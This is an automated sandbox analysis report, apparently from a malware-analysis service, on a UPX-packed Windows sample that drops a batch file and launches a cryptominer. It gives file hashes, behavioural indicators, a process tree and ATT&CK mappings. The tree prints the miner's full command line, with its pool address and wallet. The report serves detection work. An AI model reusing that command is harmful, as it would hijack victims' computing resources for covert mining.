73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 06:02

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4444	b2e.exe
3436	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3436	cpuminer-sse2.exe
3436	cpuminer-sse2.exe
3436	cpuminer-sse2.exe
3436	cpuminer-sse2.exe
3436	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1032-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 4444	1032	batexe.exe	73
PID 1032 wrote to memory of 4444	1032	batexe.exe	73
PID 1032 wrote to memory of 4444	1032	batexe.exe	73
PID 4444 wrote to memory of 4412	4444	b2e.exe	74
PID 4444 wrote to memory of 4412	4444	b2e.exe	74
PID 4444 wrote to memory of 4412	4444	b2e.exe	74
PID 4412 wrote to memory of 3436	4412	cmd.exe	77
PID 4412 wrote to memory of 3436	4412	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Users\Admin\AppData\Local\Temp\DA72.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DA72.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DA72.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DA72.tmp\b2e.exe

Filesize
4.6MB

MD5
7d7868459691a2c328873b785a431e5c

SHA1
6c3ff9e0d21a95df0900c498d1bd6b29b6a780d9

SHA256
fc1461f288f8798085b382f92a49c1f41127d18a15ff96d5c772f58a34c032c5

SHA512
e6cd8ff58d9b05ea241678f213047b679b1df9787d5f3608015764a4bf3b46bfb6c76e6b6c7407cde0c1200d5c95720a602a857710b3fe615990f4cab5269b63

Download Submit
C:\Users\Admin\AppData\Local\Temp\DA72.tmp\b2e.exe

Filesize
8.1MB

MD5
f985eec5aaba338c12e69bff7f2d9a51

SHA1
75c8a92e6ab458f73231466ea4b178fc12ea78cf

SHA256
bece70182c6cea258bc05ccd7c91e03338ab5d6b1cd7233252cf721398a718ea

SHA512
2a96d758573bc4a72b10d7f453153212fd03902131a423f4bf488208dbcc109b31f4440c4f67d271e406501b4aadd91e254ed6cc999e57bba5cf2d92d5f96620

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE2B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
384KB

MD5
eb8ea4d2595402528f73410e2c8651ed

SHA1
23abb385032a9317d00c826eb21e0fe6fc802c50

SHA256
fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017

SHA512
7f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
448df14b5d08dd22b58897d4a4c51434

SHA1
ec1bca9a995308d182cb749998a75ff880c9410e

SHA256
22c6c9bd04e46a72053de3ecae10bab83690a6fa3227eb9da248e0bc4243279e

SHA512
59919a4d486244c949163529e6f8f4bcd775a8f93fdc0990a846fa1d927299338d8631e3adb28a4a382ccbb2b4b1cc7dc8cdd41a4b0ce8e87cc117137397fd8a

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
50887092389efb9ab86d9df2342d23b4

SHA1
017353a39166ae5c456214f2ad813edeb7d998c9

SHA256
1301f7ec416700a8a80ff6095a46aeb7b9478657e0c75958ca53e0ba4132b325

SHA512
41af0016c89bb02abf1af8406cfb1cf0cea422813c668854c697b26a66431efb44350c4e0b37b0027999dc8a81a4d7ba4055bd741e265a7c8ee65d7776eb63d1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1032-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3436-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3436-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3436-42-0x0000000072FF0000-0x0000000073088000-memory.dmp

Filesize
608KB

Download
memory/3436-44-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/3436-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4444-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4444-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download